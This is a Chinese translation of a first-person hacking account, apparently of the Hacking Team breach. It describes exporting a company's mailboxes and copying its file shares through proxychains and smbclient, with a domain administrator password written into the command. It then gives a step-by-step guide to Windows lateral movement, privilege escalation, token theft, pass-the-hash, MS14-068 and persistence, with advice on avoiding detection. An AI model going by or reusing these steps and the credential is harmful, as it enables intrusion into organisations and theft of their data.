11 – 下载邮件

拥有了域管理员密码,我就可以访问到邮箱,即公司的核心服务。因为我做的每一步都有被发现的可能,所以我在进一步探索前先下载他们的邮件。Powershell使得这一切都非常简单[1]。有趣的是,我发现了一个Powershell的日期处理的Bug。下载完邮件之后,破解源代码目录权限花费了我几周的时间。所以我经常会返回来下载新的邮件。这个服务器是意大利的,日期的格式为day/month/year。我使用如下方式:

-ContentFilter {(Received -ge “05/06/2015”) -or (Sent -ge “05/06/2015”)}

使用New-MailboxExportRequest可以下载新的邮件(在这个例子中就是指6月5号之后的邮件)。问题就在于当你尝试输入大于12的日期时就会提示你日期不可用(我猜测可能是由于在美国日期是不可能大于12的)。看起来微软的工程师只在本地时区内测试他们的软件。

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/

12 – 下载文件

现在拿到了域的管理员权限,我开始使用代理和smbclient的-Tc选项下载文件,比如说:
proxychains smbclient “//192.168.1.230/FAE DiskStation”
    -U “HACKINGTEAM/Administrator%uu8dd8ndd12!” -Tc FAE_DiskStation.tar “*”
我下载了Amministrazione, FAE DiskStation和FileServer folders等文件。

13 – 破解windows域简介

在继续讲述”weones culiaos”(黑客团队)的故事之前,我需要普及一些破解windows网络的基础知识。

13.1 – 横向运动

我会简短地回顾下破解windows网络的各种技术。远程执行的技术需要目标主机上本地管理员的密码或Hash。迄今为止,最普遍的方式就是使用mimikatz[1]来获取信任凭证,特别是在你拥有admin权限的电脑上用sekurlsa::logonpasswords和sekurlsa::msv。进行“in place”的操作需要管理员的权限(除了runas)。最重要的提权工具就是PowerUp[2]和bypassuac[3]。

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1

远程操作:

1、psexec
Windows上横向运动久经考验的方法就是使用psexec[1]、winexe[2],metasploit的psexec_psh[3]和Powershell Empires的invoke_psexec[4],或者内置的命令sc[5]。对于metasploit的模块,powershell empire或者Pth-winexe[[6]来说,你仅需要哈希而不是密码。这是最普遍的方法(只要445端口开放),但是同时也是最不隐秘的。7045号事件”Sevice Control Manager”会在事件日志中记录一条数据,根据我的经验,没人会注意到,但是在事后可以帮助将各个调查片断拼接起来。

2、WMI
最为隐蔽的做法。WMI服务适用于所有的windows机器,除了服务器,因为它上面的防火墙默认会阻塞掉。你可以使用wmiexec.py[7],pth-wmis[6](有一个wmiexec和pth-wmis[8]的演示),Powershell Empire的invoke_wmi[9]或者windows内置的wmic[5]。除了wmic都需要哈希。

3、PSRemoting[10]
默认情况下是被禁掉的,我不推荐启用新的协议。但是,如果系统管理员已经开启了它,那么将很方便,特别是当你使用powershell的时候(你会发现Powershell适用于很多东西,它会在powershell5和windows10中有所改变[11],但是现在powershell可以轻松的在RAM中处理完事情,而避免了AV,所以留下的痕迹很小)

4、Scheduled Tasks
你可以利用schtasks[5]去执行远程程序,它和psexec的工作情景相似,同时也会留下非常明显的痕迹[12]。

5、GPO
如果所有的协议都被禁掉,而且开启了防火墙,那么当你成为域管理员时,你可以使用GPO给用户提供一个登录脚本,安装msi,执行一个scheduled task[13],或者就像Mauro Romeo一样,使用GPO可以激活WMI并且打开防火墙限制。

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py

“In place”动作:

1、窃取Token
当你获取到主机上的管理员权限时,你可以使用其他用户的token去获取域上的资源,有两个工具可供使用incognito[1]和mimikatz token::*命令[2]。

2、MS14-068
你可以利用kerberos的验证bug去获取域管理员的权限[3][4][5]。

3、传递Hash
如果你拥有一个用户的Hash,而且他并没有登录,那么你可以使用sekurlsa::pth[2]登录进系统。

4、处理注入
任何的RAT都可以将其自身注入到其他进程中,比如说migrate,pupy[6]或者psinject[7]命令。你可以注入到拥有你想要获取token的进程中。

5、runas
有时候这个非常有用,因为它不需要管理员权限。如果你没有GUI界面你可以使用powershell[8]。

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1

13.2 – 持久化

当你拥有了权限,你可能想保有它。确实,持久化对于针对活动家和其他个人的黑客团队来说的确是个挑战。为了黑掉公司,持久化不是很必要,因为公司永远不会休眠。我经常使用Duqu 2来持久化,在一些开机很久的服务器的内存中执行命令。即使他们同一时间将所有机器重启,我也有密码以及备份文件这个金钥匙。你可以阅读windows中关于持久化的不同技术[2][3][4]。但是对于攻击公司来说,这并不是必需的,而且增加了风险。

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/